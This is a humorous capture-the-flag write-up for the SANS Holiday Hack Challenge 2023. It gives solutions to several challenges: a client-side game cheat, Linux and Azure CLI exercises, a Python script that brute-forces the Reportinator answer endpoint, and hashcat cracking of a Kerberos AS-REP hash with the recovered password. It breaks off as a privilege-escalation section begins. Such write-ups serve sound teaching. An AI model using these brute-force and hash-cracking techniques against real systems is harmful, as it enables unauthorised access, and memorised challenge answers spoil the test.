SANS Holiday Hack Challenge 2023 Submission

It’s you, just you

Any un-beached attempts at humor, weird behavior, nonsensical statements or anything that’s just downright silly are entirely attributed to you, the reader, as this document is entirely written from a second person point of view.

Oh Bard, what will you sing tonight?

As the year 2023 draws to a close, you put your feet up, take a swig of purified snow water and wonder what Santa and the Elves are up to this year. Riding high on the AI utopia of 2023, you think to yourself that there’s no better informed party animal than your good buddy, Google Bard - they will surely know what’s going down.

As always, Bard (you can call them that after all the late night discourses you’ve had) doesn’t disappoint.

Boy, oh boy, you salivate to yourself. The Geese Islands sure do sound tempting! Fleetingly, a thought occurs to you that Bard is being awfully self-aggrandizing in highlighting AI taking center stage in this year’s challenge but - you nod to yourself - it does seem like a pretty human-like thing to do.

Shaking yourself out of your reverie, you press Bard on how to register. Bard swiftly, perhaps too swiftly responds. You can’t help but notice Bard is in a testy mood today. They definitely did not provide a link in their previous response.

You click the one (and only one!) link Bard provided and come across the HOLIDAY HACK CHALLENGE banner. You’re not sure exactly why it’s shouting but you suspect someone’s over indulged in some pre-Christmas Christmas punch.

Excitedly, you click on Learn More and are presented with a tropical invite! Deftly opening the invite, you are greeted with … a pun … yes, it’s certainly going to be a challenge this year. Never one to be easily daunted, though, you click on the register link, read the Code of Conduct and Terms of use and Register!

Ahoy! Geese Islands!

Through unfathomable, mystical Elven digital magic, you are instantly transported to the sunny and calming Geese Islands, on board a fine ship, just off the west coast of Christmas Island! Conscious that you forgot all about packing sea sickness medication, you swiftly steer your fine ship into the nearby Orientation Dock.

Orientation - Christmas Island

Upon disembarking, your first objective is to talk to Jingle Ringford. You gladly take note that Santa and the Elves have thoughtfully provided you with appropriate beach clothes.

Jingle Ringford issues you a fancy starfish shaped badge for accessing Objectives, Hints and Conversations, and also presents you with an equally fancy fishing pole.

You’re next introduced to the Cranberry Pi terminal. Upon clicking the terminal, a popup appears. You read the instructions, click the top pane, type answer and hit Enter.

You check the objective in your badge has been updated and also that you have unlocked an achievement.

Santa - Frosty’s Beach - Christmas Island

A short ocean hop away is Frosty’s beach. There, you find Santa and the Goose of Christmas Island. Santa tells you that, similar to you, they have an AI good friend in the form of ChatNPT and it was in fact ChatNPT’s idea to hold this year’s SANS Holiday Hack Challenge in The Geese Islands.

Santa resisted at first but the AI was very persuasive.

Snowball fight - Frosty’s Beach - Christmas Island

West of Santa, past the stalls for Swag, Amazon, SANS.edu, Microsoft and Google, you come across the Snowball fight, fronted by Marcel Nougat.

Marcel Nougat invites you to join in a Snowball fight but when they mention it’s way more fun when played with other people, you are slightly deflated.

However, your ears perk up at subsequent mention that there are ways to cheat be creative in unlocking a solo mode with special powers by tinkering with client-side variables.

With your senses somewhat blinded by the glare of the snow, you can’t quite figure out how these Snowballs can possibly be Petabyte capable Offline Data Transfer Devices but throwing them around sounds like fun anyway - after all, Snowballs are supposed to be ruggedized. You click on the sign and from the terminal, opt to create a private room.

After clicking “Ready”, you enter the room and open the Chromium browser devtools. You locate the main script element in the iframe hosting the room, right click it and select “Copy Element”. You paste the code into a text editor (which includes the enclosing script element) and begin to analyze it. You attempt to ask Bard and ChatGPT how to modify the code to your advantage but they both exhibit uncannily human-like behavior and lazily refuse to analyze the code in full. It looks like you have to resort to old school techniques and read the code yourself.

You try searching the code for “solo” (no hits) then “single”. You come across a comment indicating that Jared Elf the Dwarf joins if the singlePlayer variable is true.

Jared Elf the Dwarf joins if the singlePlayer variable is true

Searching for other references to singlePlayer you find that it can be set by a URL query parameter. The variable defaults to false on line 135 but the call to setURLParameterIfAbsent on line 142 will only take this default value if the corresponding URL query parameter is missing, otherwise it will take the value from the URL query parameter. Finally, line 155 actually sets the singlePlayer variable to the new value, either the default or from the URL.

singlePlayer variable can be set via a URL query parameter, otherwise it defaults to false

You try it out. Whilst on the “Ready” screen, you copy the URL from the document within the iframe hosting the challenge.

Copying the URL from the challenge iframe document

In the Chromium console, you set the document location href to the copied URL but change the singlePlayer parameter to true.

Overriding the singlePlayer URL parameter in the Chromium devtools console

After clicking “Ready”, Jared Elf the Dwarf joins the game and the fight begins but you’re not satisfied. You want, nay need, the super powers promised to you by Marcel Nougat. You close the game and return to analyzing the source code.

Searching the code for “health” you find a treasure trove:

Client-side variables controlling the player’s super powers

Being greedy healthily lazy, you decide to search for similar variables that will affect Santa and the Elves. You locate var elfThrowDelay = 2000 on line 221 and var santaThrowDelay = 500 on line 251.

Back in Chromium, you apply the same singlePlayer exploit as before. You then select the challenge iframe’s document again and return to the console to enter the super powers exploit:

Enabling the player’s super powers

After clicking “Ready”, Jared Elf the Dwarf joins the game once again and you soon realize you don’t need to channel The Flash. With your invincibility, the inability of the Elves to loose a single snowball, and Elf the Dwarf being a monster who can one hit knockout the Elves, you sit back and watch the show.

Santa takes a while longer to go down due to their copious health but like the Elves, they are unable to let loose a single snowball and go down they most certainly do.

Victory is well assured, well earned and well deserved!

The objective is marked complete and you earn another achievement. You trudge away in the snow, content that your first real challenge is behind you.

Linux 101 - Santa’s Surf Shack - Frosty’s Beach - Christmas Island

Nestled at the far west of Frosty’s Beach is Santa’s Surf Shack. Within the welcoming confines of the shack, you meet an equally welcoming Elf named Ginger Breadie.

Ginger Breadie only has positive things to say about ChatNPT arranging this year’s trip to the Geese Islands and they wish to interest you in a Linux 101 session.

You have no idea what happened to Linux 1 and Linux 10 but given your prior experience, you’re pretty confident you could even handle Linux 111 so you unhesitatingly plunge in by clicking the terminal. On the very first screen, you read the introductory text, then type “yes”, followed by “Enter”.

From here on, the Q&A session proceeds like a game of ping-pong, albeit in the absence of a table, it’s a bit more ping than pong:

  1. Perform a directory listing of your home directory to find a troll and retrieve a present!

    elf@fae84e0df87f:~$ ls
    HELP  troll_19315479765589239  workshop
  2. Now find the troll inside the troll.

    elf@35528356c783:~$ cat troll_19315479765589239
    troll_24187022596776786
  3. Great, now remove the troll in your home directory.

    elf@35528356c783:~$ rm troll_19315479765589239
  4. Print the present working directory using a command.

    elf@35528356c783:~$ pwd
    /home/elf
  5. Good job but it looks like another troll hid itself in your home directory. Find the hidden troll!

    elf@35528356c783:~$ ls -a
    .  ..  .bash_history  .bash_logout  .bashrc  .profile  .troll_5074624024543078  HELP  workshop
  6. Excellent, now find the troll in your command history.

    elf@35528356c783:~$ history |grep -i troll
        1  echo troll_9394554126440791
    <snip/>
  7. Find the troll in your environment variables.

    elf@35528356c783:~$ env |grep -i troll
    SESSNAME=Troll Wrangler
    z_TROLL=troll_20249649541603754
  8. Next, head into the workshop.

    elf@35528356c783:~$ cd workshop
    elf@35528356c783:~/workshop$
  9. A troll is hiding in one of the workshop toolboxes. Use “grep” while ignoring case to find which toolbox the troll is in.

    elf@35528356c783:~/workshop$ grep -i troll * 2>/dev/null
    toolbox_191.txt:tRoLl.4056180441832623
  10. A troll is blocking the present_engine from starting. Run the present_engine binary to retrieve this troll.

    elf@35528356c783:~/workshop$ ls -l present_engine
    -r--r--r-- 1 elf elf 4990336 Dec  2 22:19 present_engine
    elf@35528356c783:~/workshop$ chmod u+x present_engine
    elf@35528356c783:~/workshop$ ./present_engine
    troll.898906189498077
  11. Trolls have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.

    elf@35528356c783:~/workshop$ cd electrical/
    elf@35528356c783:~/workshop/electrical$ ls -l
    total 4
    -rw-r--r-- 1 elf elf 200 Dec  2 22:19 blown_fuse0
    elf@35528356c783:~/workshop/electrical$ mv blown_fuse0 fuse0
  12. Now, make a symbolic link (symlink) named fuse1 that points to fuse0

    elf@35528356c783:~/workshop/electrical$ ln -s fuse0 fuse1
  13. Make a copy of fuse1 named fuse2.

    elf@35528356c783:~/workshop/electrical$ cp fuse1 fuse2
    elf@35528356c783:~/workshop/electrical$ ls -l
    total 8
    -rw-r--r-- 1 elf elf 200 Dec  2 22:19 fuse0
    lrwxrwxrwx 1 elf elf   5 Dec 30 04:57 fuse1 -> fuse0
    -rw-r--r-- 1 elf elf 200 Dec 30 04:58 fuse2
  14. We need to make sure trolls don’t come back. Add the characters “TROLL_REPELLENT” into the file fuse2.

    elf@35528356c783:~/workshop/electrical$ echo -n TROLL_REPELLENT >> fuse2
  15. Find the troll somewhere in /opt/troll_den.

    elf@35528356c783:~/workshop/electrical$ find /opt/troll_den/ -iname '*troll*'
    /opt/troll_den/
    /opt/troll_den/plugins/embeddedjsp/src/main/java/org/apache/struts2/jasper/compiler/ParserController.java
    /opt/troll_den/apps/showcase/src/main/resources/tRoLl.6253159819943018
    <snip/>
  16. Find the file somewhere in /opt/troll_den that is owned by the user troll.

    elf@35528356c783:~/workshop/electrical$ find /opt/troll_den/ -user troll
    /opt/troll_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/tr0LL_9528909612014411
  17. Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.

    elf@35528356c783:~/workshop/electrical$ find /opt/troll_den -size +108k -size -110k
    /opt/troll_den/plugins/portlet-mocks/src/test/java/org/apache/t_r_o_l_l_2579728047101724
  18. List running processes to find another troll.

    elf@35528356c783:~/workshop/electrical$ ps -e
        PID TTY          TIME CMD
          1 pts/0    00:00:00 tmuxp
       7806 pts/2    00:00:00 14516_troll
       8374 pts/3    00:00:00 ps
  19. The 14516_troll process is listening on a TCP port. Use a command to have the only listening port display to the screen.

    elf@35528356c783:~/workshop/electrical$ netstat -l -t
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State
    tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN
  20. The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last troll.

    elf@35528356c783:~/workshop/electrical$ curl http://127.0.0.1:54321
    troll.73180338045875elf@35528356c783:~/workshop/electrical$
  21. Your final task is to stop the 14516_troll process to collect the remaining presents.

    elf@35528356c783:~/workshop/electrical$ ps -ef |grep troll
    elf         7806    7803  0 05:02 pts/2    00:00:00 /usr/bin/python3 /14516_troll
    elf         9694     186  0 05:05 pts/3    00:00:00 grep --color=auto troll
    elf@35528356c783:~/workshop/electrical$ kill -9 7806
  22. Congratulations, you caught all the trolls and retrieved all the presents! Type “exit” to close…

The objective is marked complete and you earn another achievement. You saunter out of the shack, ready for your next challenge.

Reportinator - Rudolph’s Rest - Christmas Island

Your clothes… give them to me, now

Inland on Rudolph’s Rest, a penetration tester named Noel Boetie can be found, who has decided to automate their report generation by using ChatNPT. However, they need your help to fix any hallucinations which may exist in the report.

You open the terminal and set about peer reviewing the report, only wishing Noel Boetie would have set up the terminal on the pier, which would have been a much more appropriate location for this task.

Ever able to work in the harshest of conditions, though, you diligently research the report findings based on your own technical knowledge and internet searches, as well as Bard and ChatNPT consultations but to no avail. Every time you “understand” what’s amiss and submit the “solution”, you’re rebuffed.

Having spent a significant amount of time on this challenge and not sailing any closer to the conclusion - you are on land but you’re sure that’s not the problem - you decide to go all Terminator on Reportinator and brute force the answers. In your Kali VM, you start mitmproxy in a terminal, appending flows to mitmproxy.log:

mitproxy --showhost -w +mitmproxy.log
Copying the challenge URL from Chromium

You configure Firefox to use mitmproxy:

  1. You create a new Firefox profile and launch a new window using that profile.
  2. You configure Firefox’s proxy settings to use mitmproxy at 127.0.0.1:8080.
  3. You follow the mitmproxy instructions on how to make your browser trust the mitmproxy certificate.

Back in the Reportinator terminal, you use the Chromium devtools to copy the URL from the iframe hosting the terminal.

Pasting the URL into Firefox, you submit a review without marking any findings as an hallucination and observe the request in mitmproxy contains nine input fields set to 0 and results in an HTTP 400 error:

Submitting a review without marking any findings as hallucinations results in an HTTP 400 error

Conscious of how much time you have already spent on Reportinator and despite believing deep down in the deepest of deep downs that real hackers write their own code, you turn to ChatGPT to generate some Terminator code for you based on the above request - you feel a tinge of guilt at not asking Bard but you don’t want your buddy to see you in your current mood.

The final modified code is below, with the cookie redacted and the following small changes:

  1. Line 8: you insert your proxy pointing to mitmproxy
  2. Lines 19-30: you change the headers to match those exported from mitmproxy. You don’t strictly need all of them but it’s fast to convert them all in vimppressive fashion and you’re finding laziness to be strangely intoxicating.
  3. Line 34: you change the URL posted to.
  4. Line 34: you add an additional verify=False option to requests.post to so you don’t need to care that python doesn’t trust the mitmproxy certificate.
 #!/usr/bin/python3

 import requests
 from itertools import product
 import time

 # Specify your proxy URL
 proxy_url = 'http://127.0.0.1:8080'

 # Step 1: Generate a sequence of lists with all combinations of 9 digits (0 and 1)
 digit_combinations = list(product([0, 1], repeat=9))

 # Step 2: Loop through the sequence
 for combination in digit_combinations:
     # Step 2.1: Generate the payload string
     payload = '&'.join(f'input-{i + 1}={digit}' for i, digit in enumerate(combination))

     # Step 2.2: Create a dictionary of (header, value) pairs
     #headers = {'Content-Type': 'application/x-www-form-urlencoded'}
     headers = { 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
         'accept': '*/*',
         'accept-language': 'en-US,en;q=0.5',
         'referer': 'https://hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com/?&challenge=reportinator&username=metter&id=538aab91-e745-4d43-b639-78437d0df725&area=ci-rudolphsrest&location=35,29&tokens=&dna=ATATATTAATATATATATATATGCATATATATCGATTACGATATATATATATTAATATATATATATATATATATATCGATATATATATATATTATAATATATATATATTACGATATTAGC',
         'content-type': 'application/x-www-form-urlencoded',
         'origin': 'https://hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com',
         'cookie': 'ReportinatorCookieYum=REDACTED',
         'sec-fetch-dest': 'empty',
         'sec-fetch-mode': 'cors',
         'sec-fetch-site': 'same-origin',
         'te': 'trailers' }


     # Step 2.3: Send an HTTP POST request
     response = requests.post('https://hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com/check', data=payload, headers=headers, proxies={'http': proxy_url, 'https': proxy_url}, verify=False)

     # Step 2.4: Check the HTTP POST response
     if response.status_code == 200:
         print(f"HTTP 200 OK: Payload sent successfully - {payload}")
         exit()  # Exit the program if the HTTP response is 200
     else:
         print(f"HTTP {response.status_code}: Payload failed - {payload}")

     # Sleep to be nice.
     time.sleep(0.2)

 # If none of the combinations resulted in HTTP 200, print a message
 print("None of the payloads resulted in HTTP 200.")

You run the script. It spews out an HTTPS warning for each request but by now you’re hearing a deafening maniacal cackle powered by the greatest power of them all, the power of laziness and you just can’t seem to care.

$ ./bruteforce_reportinator.py
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1062: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/
en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
HTTP 400: Payload failed - input-1=0&input-2=0&input-3=0&input-4=0&input-5=0&input-6=0&input-7=0&input-8=0&input-9=0
<snip/>

After a short period, the script eventually outputs a success!

HTTP 200 OK: Payload sent successfully - input-1=0&input-2=0&input-3=1&input-4=0&input-5=0&input-6=1&input-7=0&input-8=0&input-9=1

Back in the SANS Holiday Hack challenge proper, you submit the found solution, marking the following findings as hallucinations. Someone sure has an affinity for the number 3!

The objective is marked complete and you earn another achievement.

Spinning top

Now that the accepted solution is revealed, you tumble to the real hallucination, the accepted solution. Clearly ChatNPT not only created the report but also created the very challenge itself! This hallucination is like Inception and even sounds almost the same, just with very different spelling and pronunciation. The real solution should be that all of the following are hallucinations.

2. SQL Injection Vulnerability in Java Application

The sqlmap image is clearly taken from the official sqlmap website whereas a real penetration test report would include sample sqlmap output from the actual target system.

The recommendations prioritize “input validation and sanitation routines” and de-prioritize “prepared SQL statements and parameterized queries” whereas the OWASP SQL Injection Prevention Cheat Sheet prioritizes “Prepared Statements (with Parameterized Queries)” and “STRONGLY” discourages “Escaping All User-Supplied Input” - yes, they really do shout in the cheatsheet, that’s how important it is.

Even Bard agrees with you so you must be right!

3. Remote Code Execution via Java Deserialization of Stored Database Objects

Port 88555/TCP clearly exceeds the standard maximum port value of 65535

Furthermore, similar to finding 2, the screenshot doesn’t show the vulnerability actually being exploited. It merely shows a ysoserial payload being generated.

4. Azure Function Application-SSH Configuration Key Signing Vulnerable to Principal Manipulation

Once again, there is a generic screenshot that doesn’t show the vulnerability being exploited and matches a generic screenshot from the web.

It also claims “Broken Authentication” is part of the OWASP Top 10 Application Security Risks whereas it is more accurate to say it is part of the OWASP API Security Top 10, as the system under test appears to be an API. In contrast, Broken Authentication was removed/renamed from the OWASP Top 10 2021 and last appeared in the OWASP Top 10 2017.

5. Azure Key Vault-Overly Permissive Access from Azure Virtual Machine Metadata Service/Managed Identity

Listing 2 in the finding purports to use the --vault-name option with the az keyvault show command whereas this command actually only supports the –name option for specifying the vault name, going all the way back to the Azure CLI 2017-04-09 profile.

6. Stored Cross-Site Scripting Vulnerabilities

There is a reference to an HTTP SEND method which doesn’t exist.

Additionally, the order in which the recommendations are given seems to prioritize or emphasize CSP over output encoding, which contradicts the OWASP Cross Site Scripting Prevention Cheat Sheet, the latter of which deems CSP to be a defense-in-depth measure and not a primary defense.

7. Browsable Directory Structure

Listing 6 in the finding should be a simple diff between the default Apache httpd configuration and the desired configuration. However, it is actually a screenshot of AsciiDoc markup, as detected by Bard, such as the use of links and cross references, that would itself render to a page that describes the change to be made. Inception!

9. Internal IP Address Disclosure

This finding references an “HTTP 7.4.33 request”, seemingly confusing HTTP with the php version listed in finding 8.

It also mentions “host Windows registration key” but it is unclear what this refers to. It does not appear to be standard terminology based on internet searches.

Recommendations are made for using Content-Security-Policy and X-Content-Type-Options but these are client-side controls and would not play a role in preventing internal IP address disclosure by server-side components.

Conceited Deceit

So in summary, the accepted solution should be 2-7 and 9, leaving only 1 and 8 as legitimate findings. As you regard your conclusion and literally pat yourself on the back, your conceited pleasure is short lived. Hallucinations are not bugs! Besides, if you had found a bug within a bug, that would be pretty grotesque. On the other hand, a bug in an hallucination or an hallucination in a bug would be a submission of note! Sighing out loud, you decide to move on with your life and leave the Reportinator at the mercy of the Terminator.

Azure 101

In the south west of Rudolph’s Rest, you encounter Sparkle Redberry, who is fretting over learning Azure. Learning Azure is compulsory now that Alabaster Snowball has hosted his new IT stuff in Azure. Being new to Azure, you are not quite sure you’re the best person to help but you refrain from voicing your concern.

Then there’s the fact the terminal is called Azure 101. That number again. It cropped up with Linux 101. It has 3 digits. The accepted solution for Reportinator are multiples of 3: 3, 6, 9. There are 3+3 Islands in Geese Islands. Three rhymes with Tree …

Is this ChatNPT’s hand digits at work again? Creating patterns within patterns within patterns? Does ChatNPT employ a newfangled, fractal convoluted deep learning network? Was it prompted with a Christmas Tree but hallucinated a Christmas Three? You now understand ChatNPT’s Reportinator hallucination - it’s simply seeing 3 everywhere.

By now Sparkle Redberry is staring at you in great apprehension. Fearing they’ve seen through your confident exterior to the chaos within, you impetuously click the terminal and get stuck in.

The terminal proceeds in a very similar way to the Linux 101 terminal, reinforcing your patterns theory.

  1. You may not know this but the Azure CLI help messages are very easy to access. First, try typing: $ az help | less

    elf@83ea47f560f5:~$ az help |less
    Group
        az
    
    Subgroups:
        account                     : Manage Azure subscription information.
        acr                         : Manage private registries with Azure Container Registries.
    
    <snip/>
  2. Next, you’ve already been configured with credentials. Use ‘az’ and your ‘account’ to ‘show’ your current details and make sure to pipe to less ( | less )

    elf@83ea47f560f5:~$ az account show|less
    {
      "environmentName": "AzureCloud",
      "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
      "isDefault": true,
      "name": "northpole-sub",
      "state": "Enabled",
      "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
      "user": {
        "name": "northpole@northpole.invalid",
        "type": "user"
      }
    }
  3. Excellent! Now get a list of resource groups in Azure. For more information: https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest

    elf@83ea47f560f5:~$ az group list|less
    [
      {
        "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
        "location": "eastus",
        "managedBy": null,
        "name": "northpole-rg1",
        "properties": {
          "provisioningState": "Succeeded"
        },
        "tags": {}
      },
      {
        "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
        "location": "westus",
        "managedBy": null,
        "name": "northpole-rg2",
        "properties": {
          "provisioningState": "Succeeded"
        },
        "tags": {}
      }
    ]
  4. Ok, now use one of the resource groups to get a list of function apps. For more information: https://learn.microsoft.com/en-us/cli/azure/functionapp?view=azure-cli-latest Note: Some of the information returned from this command relates to other cloud assets used by Santa and his elves.

    elf@83ea47f560f5:~$ az functionapp list --resource-group northpole-rg1|less
    [
      {
        "appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
        "availabilityState": "Normal",
        "clientAffinityEnabled": false,
        "clientCertEnabled": false,
        "clientCertExclusionPaths": null,
        "clientCertMode": "Required",
        "cloningInfo": null,
        "containerSize": 0,
        "customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59DBEA",
        "dailyMemoryTimeQuota": 0,
        "defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
    
        <snip/>
    
        "tags": {
          "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
          "project": "northpole-ssh-certs"
        },
    
        <snip/>

    For completeness, you also check the other resource group but it has no function apps:

    elf@83ea47f560f5:~$ az functionapp list --resource-group northpole-rg2
    []
  5. Find a way to list the only VM in one of the resource groups you have access to. For more information: https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest

    Your user has insufficient permissions to list VMs in the first resource group:

    elf@83ea47f560f5:~$ az vm list --resource-group northpole-rg1
    The client 'f17559a4-d8a2-4661-ba0f-c04f8cf2926d' with object id '8deacb33-214d-4d94-9ab4-d27768410f17' does not have authorization to perform action 'Microsoft.Compute/virtualMachines/read' over scope '/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines' or the scope is invalid. If access was recently granted, please refresh your credentials.

    However, the second resource group has what you are seeking:

    elf@83ea47f560f5:~$ az vm list --resource-group northpole-rg2
    [
      {
        "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1",
        "location": "eastus",
        "name": "NP-VM1",
        "properties": {
          "hardwareProfile": {
            "vmSize": "Standard_D2s_v3"
          },
          "provisioningState": "Succeeded",
          "storageProfile": {
            "imageReference": {
              "offer": "UbuntuServer",
              "publisher": "Canonical",
              "sku": "16.04-LTS",
              "version": "latest"
            },
            "osDisk": {
              "caching": "ReadWrite",
              "createOption": "FromImage",
              "managedDisk": {
                "storageAccountType": "Standard_LRS"
              },
              "name": "VM1_OsDisk_1"
            }
          },
          "vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
        },
        "resourceGroup": "northpole-rg2",
        "tags": {}
      }
    ]
  6. Find a way to invoke a run-command against the only Virtual Machine (VM) so you can RunShellScript and get a directory listing to reveal a file on the Azure VM. For more information: https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke

    This one is a bit more involved so you invoke the power of Bard:

    You wield Bard’s power and are rewarded for your devotion:

    elf@83ea47f560f5:~$ az vm run-command invoke -g northpole-rg2 -n NP-VM1 --command-id RunShellScript --scripts "ls -la"|less
    {
      "value": [
        {
          "code": "ComponentStatus/StdOut/succeeded",
          "displayStatus": "Provisioning succeeded",
          "level": "Info",
          "message": "total 52\ndrwxr-x--- 1 0 0 4096 Dec  4 20:38 .\ndrwxr-x--- 1 0 0 4096 Dec  4 20:38 ..\ndrwxr-x--- 1 0 0 4096 Dec  4 20:37 bin\ndrwxr-xr-x 1 0 0 4096 Dec  4 20:38 etc\ndrwxr-x--- 1 0 0 4096 Dec  2 22:16 home\n-rwxr-x--- 1 0 0    0 Dec  4 20:37 jinglebells\ndrwxr-xr-x 1 0 0 4096 Dec  4 20:37 lib\ndrwxr-xr-x 1 0 0 4096 Dec  4 20:37 lib64\ndrwxr-xr-x 1 0 0 4096 Dec  4 20:37 usr\n",
          "time": 1703993635
        },
        {
          "code": "ComponentStatus/StdErr/succeeded",
          "displayStatus": "Provisioning succeeded",
          "level": "Info",
          "message": "",
          "time": 1703993635
        }
      ]
    }
  7. Great, you did it all!

The objective is marked complete and you earn another achievement. Sparkle Redberry is impressed and grateful for your help.

They also let you know the Azure Function App URL obtained from the terminal may be a part of Alabaster Snowball’s new project. Alabaster Snowball may currently be on Pixel Island if you wish to know more. You jot that down for future investigation, wave farewell to Sparkle Redberry and head back to your fine ship.

Hashcat - Scaredy Kite Heights - Island of Misfit Toys

As you trek through the mountains in Scaredy Kite Heights, absent-mindedly pondering why you don’t see any tethered cats aloft, you come across Eve Snowshoes, who has been tasked with recovering a password for Alabaster Snowball. They need your help in getting the Hashcat options just right, not too high and not too low.

Hoping you don’t make a hash of things, you open the Hashcat terminal and are greeted with an impressive poem which draws your attention to Three (that number again!!!) important hints:

The first thing you do in the terminal is list what files are present:

elf@e1657ec90571:~$ ls -l
total 12
-rw-r--r-- 1 elf  elf  1567 Nov 27 17:07 HELP
-rw-r--r-- 1 elf  elf   541 Nov  9 21:29 hash.txt
-rw-r--r-- 1 root root 2775 Nov  9 21:29 password_list.txt

You then take a goose gander at the hash to be cracked:

elf@e1657ec90571:~$ cat hash.txt
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966elf@e1657ec90571:~$

You search the Hashcat example hashes for the observed krb5asrep value, which tells you the appropriate hash mode to use is 18200 and the corresponding hash name is Kerberos 5, etype 23, AS-REP

Next, you summarize the password_list.txt file, sub-consciously channeling the power of Tree Three - 3 sections in the output displaying the first 3 lines, the last 3 lines and the number of lines in the file. You conclude these candidate passwords do seem to suit Alabaster Snowball and although there are only 143 candidates, it seems to be the password list intended for the challenge. You think 333 lines would have been more appropriate but there must have been a need to balance 3 with realism and efficiency, which in turn are 3 criteria, and besides, 4 - 1 == 3.

 elf@e1657ec90571:~$ head -3 password_list.txt && echo '---' && tail -3 password_list.txt && echo -e '\n---' && wc -l password_list.txt
 1LuvCandyC4n3s!2022
 1LuvC4ndyC4n3s!2023
 1LuvC4ndyC4n3s!2021
 ---
 iLuvC4ndyC4n3$2020!
 ILuvC4ndyC4n3s!23!
 iLuvC4ndyC4n3s!23!
 ---
 143 password_list.txt

Armed with the mode and the wordlist, you try a straight dictionary attack via the -a0 option, which will try each candidate password without modification. You also remember to include the efficiency options you were told to include. However, your first attempt is greeted with an error. Perhaps ChatNPT once again created this challenge but was unable to test it out?

elf@e1657ec90571:~$ hashcat -m18200 -a0 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 hash.txt password_list.txt
The manual use of the -n option (or --kernel-accel) is outdated.

Please consider using the -w option instead.
You can use --force to override this, but do not report related errors.

You try out the --force option and this time hashcat proceeds to crack the password in 16 seconds:

elf@e1657ec90571:~$ hashcat -m18200 -a0 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 --force hash.txt password_list.txt
hashcat (v5.1.0) starting...

<snip/>

$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23

<snip/>

Started: Sun Dec 31 05:10:24 2023
Stopped: Sun Dec 31 05:10:40 2023

You submit the answer which is accepted as correct:

elf@e1657ec90571:~$ /bin/runtoanswer
What is the password for the hash in /home/elf/hash.txt ?

> IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!

Checking....
Your answer is correct!

The objective is marked complete and you earn another achievement. The cat has been hashed in Scaredy Kite Heights.

Linux PrivEsc - Scaredy Kite Heights - Island of Misfit Toys

Further up the mountain trail in Scaredy Kite Heights, is the Ostrich Saloon which is unexpectedly homey within and without. Within this homiest of homes you are surprised to discover Rose Mold, a Frost Troll from the Planet Frost who decided to stay on Earth after Holiday Hack 2021.

Rose Mold provides you with a link to a Linux Privilege Escalation Guide but they are curiously reticent about why they want you to execute a privilege escalation attack on the nearby Linux system. You on the other hand, maybe due to being in Scaredy Kite Heights, are curiously curious so you do it anyway. As you click the terminal, an epiphany belatedly strikes you - cat’s have 3+3+3 lives …

The link provided by Rose Mold only covers a few techniques so you run through them, albeit you leave exploration of Kernel Exploits as a last resort, as counseled by the blog post.

You attempt to check what services are running by checking listening services and running processes. However, the netstat command is unavailable.

